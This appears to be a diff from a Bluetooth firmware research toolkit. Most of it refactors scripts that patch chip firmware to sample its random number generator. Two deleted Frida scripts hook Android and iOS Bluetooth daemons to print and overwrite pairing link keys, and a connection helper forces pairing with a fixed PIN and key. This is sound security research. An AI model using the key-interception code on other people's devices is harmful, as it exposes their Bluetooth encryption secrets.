internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+47 -35
View File
@@ -3,17 +3,17 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
import binascii
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
from datetime import datetime
import binascii
"""
Measure the RNG of the CYW20819 Evaluation Board.
@@ -38,7 +38,7 @@ Changes:
"""
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x219000
# 0x219000 crashed with 0x1000 in round 27
# 0x216000 looks emptier but crashed on first attempt
@@ -126,47 +126,54 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
progress_log = log.info("Installing assembly patches...")
# Disable Patchram
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
# internalblue.logger.critical("error!")
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_log.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG + 1)): # 0x219001
internalblue.logger.critical("Could not implement our launch RAM fix!")
if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # 0x219001
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region at 0x219000
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0x79AC6, patch):
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -175,8 +182,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -184,19 +189,22 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -207,7 +215,7 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
@@ -216,7 +224,7 @@ while rounds > i:
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
@@ -230,20 +238,24 @@ while rounds > i:
# print the data as a demo
random = np.delete(random, np.arange(4, random.__len__(), 5))
randstring = binascii.hexlify(bytearray(random))
internalblue.logger.info([randstring[i:i + 8] for i in range(0, len(randstring), 8)])
log.info([randstring[i:i+8] for i in range(0, len(randstring), 8)])
log.info("Finished acquiring random data!")
internalblue.logger.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20819-randomdata_pseudo-0x500-%irounds-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+42 -25
View File
@@ -3,15 +3,16 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwn import *
from internalblue.ioscore import iOSCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.ioscore import iOSCore
"""
Measure the RNG of the iPhone 6.
@@ -125,29 +126,39 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -156,8 +167,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -165,19 +174,23 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -188,7 +201,7 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
@@ -197,7 +210,7 @@ while rounds > i:
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
@@ -208,18 +221,22 @@ while rounds > i:
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i6_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+40 -25
View File
@@ -3,14 +3,15 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.ioscore import iOSCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
"""
Measure the RNG of the iPhone 6.
@@ -120,29 +121,39 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -151,8 +162,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -160,19 +169,23 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -183,29 +196,31 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i6_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+40 -28
View File
@@ -3,15 +3,16 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwn import *
from internalblue.ioscore import iOSCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.ioscore import iOSCore
"""
Measure the RNG of the iPhone 7.
@@ -125,39 +126,47 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
"""
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
"""
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# iPhone 7 Launch_RAM fix: overwrite an unused HCI handler
# Here it is not called within the handler table but within another function.
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x607AC)
if not internalblue.patchRom(0x607AC, patch, 0): # use slot 0 and only slot 0
internalblue.logger.critical("Could not implement our launch RAM fix!")
if not internalblue.patchRom(0x607AC, patch, 0): # use slot 0 and only slot 0
log.critical("Could not implement our launch RAM fix!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -166,8 +175,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -175,14 +182,15 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# cli.commandLoop(internalblue)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
@@ -190,7 +198,7 @@ rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -201,7 +209,7 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
@@ -210,7 +218,7 @@ while rounds > i:
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
@@ -221,18 +229,22 @@ while rounds > i:
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i7_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
-149
View File
@@ -1,149 +0,0 @@
/*
Keychange
The Bluetooth chip cannot save its key internally, so it asks Android with
the according HCI command, which we exchange.
Usage:
* Attach to existing daemon
frida -U com.android.bluetooth --no-pause -l android_keychange.js
*/
var swap_key = true; // actually swap the key (otherwise just prints the key)
var debug = false; // enable/disable printing raw packets
// Addresses for Samsung Galaxy Note 20 5G January 2021
var base = Module.getBaseAddress('libbluetooth.so');
//var filter_incoming_event = base.add(0x2efcb4); // from hci_layer.cc
var transmit_command = base.add(0x2f201c); // from hci_layer.cc
/*
Helper functions
*/
function print_hex(byte_array) {
var bytes_string = "";
for (var i = 0; i < byte_array.length; i+=1) {
bytes_string += ("00" + byte_array[i].toString(16)).substr(-2);
}
console.log('\t' + bytes_string);
}
function print_backtrace(ctx) {
console.log('Backtrace:\n' +
Thread.backtrace(ctx, Backtracer.ACCURATE)
.map(DebugSymbol.fromAddress).join('\n') + '\n');
}
/* *** Receiving direction ***
Interceptor.attach(filter_incoming_event, {
onEnter: function(args) {
if (debug) {
console.log("filter_incoming_event");
}
}
});
*/
/*
We exchange the original key in the host's key response.
static void transmit_command(BT_HDR* command,
command_complete_cb complete_callback,
command_status_cb status_callback, void* context)
typedef struct {
uint16_t event;
uint16_t len;
uint16_t offset;
uint16_t layer_specific;
uint8_t data[];
} BT_HDR;
*/
Interceptor.attach(transmit_command, {
onEnter: function(args) {
var BT_HDR = this.context.x0;
if (debug) {
console.log("transmit_command");
var event = BT_HDR.readU16();
var len = BT_HDR.add(2).readU16();
var offset = BT_HDR.add(4).readU16();
var layer_specific = BT_HDR.add(6).readU16();
// I think the event is always BT_EVT_TO_LM_HCI_CMD = 0x2000
console.log("event: " + event);
console.log("len: " + len);
console.log("off: " + offset);
console.log("spec: " + layer_specific);
// When setting the name:
// 00000000 13 0c f8 46 6f 6f 66 6f 6e 65 00 00 00 00 00 00 ...Foofone......
// Write_Local_Name = 0xC13
console.log(BT_HDR.add(8).readByteArray(len));
}
var hci_cmd = BT_HDR.add(8).readU16();
if (hci_cmd == 0x40b) {
console.log("HCI_Link_Key_Request_Reply");
console.log(" * Intercepted address and key:");
var data = new Uint8Array(BT_HDR.add(11).readByteArray(6+16)); // transform to normal array
var bd_addr = data.slice(0,6);
var link_key = data.slice(6);
print_hex(bd_addr);
print_hex(link_key);
if (swap_key) {
console.log(" ! Replacing key with an invalid one.");
BT_HDR.add(11+6).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
}
}
// BLE with SMP on Mi Band 2 uses this
if (hci_cmd == 0x2019) {
console.log("LE_Enable_Encryption");
console.log(" * Intercepted handle and key:");
var hnd = new Uint8Array(BT_HDR.add(11).readByteArray(2)); // transform to normal array
var link_key = new Uint8Array(BT_HDR.add(23).readByteArray(16));
print_hex(hnd);
print_hex(link_key);
if (swap_key) {
console.log(" ! Replacing key with an invalid one.");
BT_HDR.add(23).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
}
}
// TODO Other BLE variant - didn't test it on any device yet
if (hci_cmd == 0x201a) {
console.log("LE_Long_Term_Key_Request_Reply");
console.log(" * Intercepted handle and key:");
var data = new Uint8Array(BT_HDR.add(11).readByteArray(2+16)); // transform to normal array
var hnd = data.slice(0,2);
var link_key = data.slice(2);
print_hex(hnd);
print_hex(link_key);
if (swap_key) {
console.log(" ! Replacing key with an invalid one.");
BT_HDR.add(11+2).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
}
}
}
});
-121
View File
@@ -1,121 +0,0 @@
/*
Keychange
The Bluetooth chip cannot save its key internally, so it asks iOS with
the according HCI command, which we exchange.
Usage:
* Attach to existing daemon
frida -U bluetoothd --no-pause -l ios_keychange.js
*/
var swap_key = false; // actually swap the key (otherwise just prints the key)
var debug = false; // enable/disable printing raw packets
var base = Module.getBaseAddress('bluetoothd');
// *** SELECT YOUR IOS VERSION HERE ***
// Functions contain function name strings, easy to determine.
var OI_HCIIfc_DataReceived = base.add(0xee5a4); // iOS 14.1, iPhone 12
// var OI_HCIIfc_DataReceived = base.add(0xed9f8); // iOS 14.8, iPhone 8
// var OI_HCIIfc_DataReceived = base.add(0xed0b8); // iOS 14.4, iPhone 8
// var OI_HCIIfc_DataReceived = base.add(0xee9f0); // iOS 14.3, iPhone 8 (18C66)
// var OI_HCIIfc_DataReceived = base.add(0x108e04); // iOS 13.5, iPhone SE2
var OI_HciIfc_CopyPayload = base.add(0xe3d7c); // iOS 14.1, iPhone 12
// var OI_HciIfc_CopyPayload = base.add(0xe3764); // iOS 14.8, iPhone 8
// var OI_HciIfc_CopyPayload = base.add(0xe2ddc); // iOS 14.4, iPhone 8
// var OI_HciIfc_CopyPayload = base.add(0xFE690); // iOS 13.5, iPhone SE2
// var OI_HciIfc_CopyPayload = base.add(0xee9f0); // iOS 14.3, iPhone 8 (18C66)
var HCIIfc_src_ptr = base.add(0x671388); // iOS 14.1, iPhone 12
// var HCIIfc_src_ptr = base.add(0x688518); // iOS 14.8, iPhone 8
// var HCIIfc_src_ptr = base.add(0x654318); // iOS 14.4, iPhone 8
// var HCIIfc_src_ptr = base.add(0x6118A0); // iOS 13.5, iPhone SE2
// Helper function to print hex
function print_hex(byte_array) {
var bytes_string = "";
for (var i = 0; i < byte_array.length; i+=1) {
bytes_string += ("00" + byte_array[i].toString(16)).substr(-2);
}
console.log('\t' + bytes_string);
}
// *** Receiving direction *** (Chip -> iOS)
// OI_HCIIfc_DataReceived gets all packet types. It then calls
// HCI/SCO/ACL in the next step, and with one function in between
// ends up in OI_HCIIfc_AclPacketReceived (aka acl_recv).
// We don't necessarily need this but at least we can print if a
// key was requested.
Interceptor.attach(OI_HCIIfc_DataReceived, {
onEnter: function(args) {
var h4t = parseInt(this.context.x0); // ACL/SCO/HCI
var acl = this.context.x1;
var len = parseInt(this.context.x2);
if (debug) {
console.log("OI_HCIIfc_DataReceived" + ", type " + h4t + ", len " + len);
console.log(acl.readByteArray(len));
}
// Uncomment this to filter for a specific type:
// HCI: 0x01 (command, invalid in this direction)
// ACL: 0x02
// SCO: 0x03
// HCI: 0x04 (events + BLE data, this is valid)
// DIAG: 0x07 (should be disabled here)
//if (h4t == 4) {
//}
}
});
// *** Sending direction *** (iOS -> Chip)
// We need to exchange the original key here.
var OI_HciIfc_CopyPayload_dst = 0;
Interceptor.attach(OI_HciIfc_CopyPayload, {
onEnter: function(args) {
// save the payload pointer argument
OI_HciIfc_CopyPayload_dst = this.context.x0;
},
onLeave: function(args) {
// Intercept all data from the global struct.
// OI_HciIfc_CopyPayload doesn't intercept the H4 type but we
// might want to distinguish between ACL/HCI/... for fuzzing.
var h4t = HCIIfc_src_ptr.add(0x10).readU8();
var hnd = HCIIfc_src_ptr.add(0x18).readU16();
var len = HCIIfc_src_ptr.add(0x1c).readU16();
// This is the data. Depending on the H4 type, it needs to
// be reassembled differently (different length positions etc.)
var data = OI_HciIfc_CopyPayload_dst.readByteArray(len);
if (debug) {
console.log("OI_HciIfc_CopyPayload, type " + h4t.toString(16) + ", cmd/hnd " + hnd.toString(16) + ", len " + len);
console.log(data);
}
if (h4t == 1 && hnd == 0x40b) {
console.log("HCI_Link_Key_Request_Reply");
console.log(" * Intercepted address and key:")
data = new Uint8Array(data); // transform to normal array
var bd_addr = data.slice(0,6);
var link_key = data.slice(6);
print_hex(bd_addr);
print_hex(link_key);
if (swap_key) {
console.log(" ! Replacing key with an invalid one.")
OI_HciIfc_CopyPayload_dst.add(6).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
}
}
}
});
+23 -25
View File
@@ -3,28 +3,25 @@
# connections. in general, it is very basic and offers the bare minimum
# to semi-reliably hold an active l2cap channel.
import binascii
import time
import struct
import threading
import time
from pwnlib import log
from pwn import *
import internalblue.hci as hci
from internalblue.utils.packing import p8, p16
CONNECTION_TYPE_CLASSIC = 0
CONNECTION_TYPE_BLE = 1
class BluetoothConnection:
def __init__(self, core, bd_addr, reconnect=1, keepalive=True, timeout=5):
self.core = core
self.core = core
self.remote_addr = bd_addr
self.reconnect = reconnect
self.keepalive = keepalive
self.timeout = timeout
# the handle also determines whether there is currently an active connection
self.handle = None
self.aclHandlers = []
@@ -62,7 +59,7 @@ class BluetoothConnection:
event = h4_record.event_code
hci_data = h4_record.data
status = hci_data[0]
# connection complete event
if event == 3:
# connection complete - sucess
@@ -81,7 +78,7 @@ class BluetoothConnection:
log.info("Disconnected from " + binascii.hexlify(self.remote_addr).decode("utf-8"))
if self.reconnect_counter < self.reconnect:
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
self.reconnect)
self.reconnect)
# wait a second, otherwise we sometimes don't get the connection complete event...
time.sleep(1)
self.connect()
@@ -89,11 +86,11 @@ class BluetoothConnection:
# authentication complete
elif event == 6:
# workaround as there is apparently a bug in pythons struct
(status,) = struct.unpack_from("b", hci_data)
(handle,) = struct.unpack_from("h", hci_data[1:])
(status, ) = struct.unpack_from("b", hci_data)
(handle, ) = struct.unpack_from("h", hci_data[1:])
log.info("got Authentication Complete from handle %s, status: %d", hex(handle),
status)
status)
if status == 0:
# authentication was successful, now set connection encryption
self.core.sendHciCommand(0x0413, p16(handle) + "\x01")
@@ -101,21 +98,21 @@ class BluetoothConnection:
if self.encryption_callback:
self.encryption_callback()
pass
else:
else:
handle = 0
# encryption change complete
elif event == 8:
(handle, encrypt) = struct.unpack_from("hb", hci_data)
log.info("Got Encryption Change Complete from handle %s, encrypt: %d", hex(handle),
encrypt)
encrypt)
# pin code request
elif event == 0x16:
(bd_addr,) = struct.unpack_from("6s", hci_data)
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got Pin Code Request for %s", binascii.hexlify(bd_addr).decode("utf-8"))
self.core.sendHciCommand(0x040d, bd_addr + "\x00" + "\x41" * 0x10)
self.core.sendHciCommand(0x040d, bd_addr + "\x00" + "\x41"*0x10)
# link key request
elif event == 0x17:
(bd_addr,) = struct.unpack_from("6s", hci_data)
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got Link Key request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# link keys are not really implemented yet, just return a random link key
self.core.sendHciCommand(0x040b, bd_addr + bytes.fromhex("0d2017c7f90a78cefeeed32210e6519a"))
@@ -128,7 +125,7 @@ class BluetoothConnection:
else:
# send negative link key reply, we don't have a key
self.core.sendHciCommand(0x040c, bd_addr)
# link key notification
elif event == 0x18:
(bd_addr, link_key) = struct.unpack_from("6s16s", hci_data)
@@ -136,20 +133,20 @@ class BluetoothConnection:
self.link_keys[bd_addr] = link_key
# io capability request
elif event == 0x31:
(bd_addr,) = struct.unpack_from("6s", hci_data)
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got IO capability request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# pretend to not have a display or oob data present
# no display: 0x03, no oob: 0x00, auth requirements: 0x02
self.core.sendHciCommand(0x042b, bd_addr + "\x03\x00\x02")
# user confirmation request
elif event == 0x33:
(bd_addr,) = struct.unpack_from("6s", hci_data)
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got user confirmation request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# we just accept any confirmation requests
self.core.sendHciCommand(0x42c, bd_addr)
# simple pairing complete
elif event == 0x36:
(bd_addr,) = struct.unpack_from("6s", hci_data)
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got simple pairing complete from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# le event
# everything from le lands here...
@@ -228,8 +225,8 @@ class BluetoothConnection:
log.info("Connection timeout")
if self.reconnect_counter < self.reconnect:
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
self.reconnect)
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
self.reconnect)
self.reconnect_counter += 1
status = self.connect()
else:
@@ -239,6 +236,7 @@ class BluetoothConnection:
log.info("Connection successful")
if self.connection_callback:
self.connection_callback()
status = True
status = True
return status
+8 -7
View File
@@ -2,17 +2,17 @@
# Dennis Heinze
import sys
import time
import os
import binascii
import struct
from pwnlib import log
from internalblue.utils.packing import p16
from pwn import *
class L2CAPManager:
def __init__(self, btconn, mtu=0x30):
self.connection = btconn
self.connection = btconn
self.connection.registerACLHandler(self._receptionHandler)
@@ -37,7 +37,7 @@ class L2CAPManager:
self.cidHandlers[cid].append(handler)
log.debug("Registered L2CAP handler for CID %d", cid)
def _receptionHandler(self, data):
if len(data) > 5:
l2cap_data = data[5:]
@@ -57,6 +57,7 @@ class L2CAPManager:
class L2CAPSignalChannel:
def __init__(self, chanman):
self.chanman = chanman
self.chanman.registerCIDHandler(0x01, self._receptionHandler)
+1 -1
View File
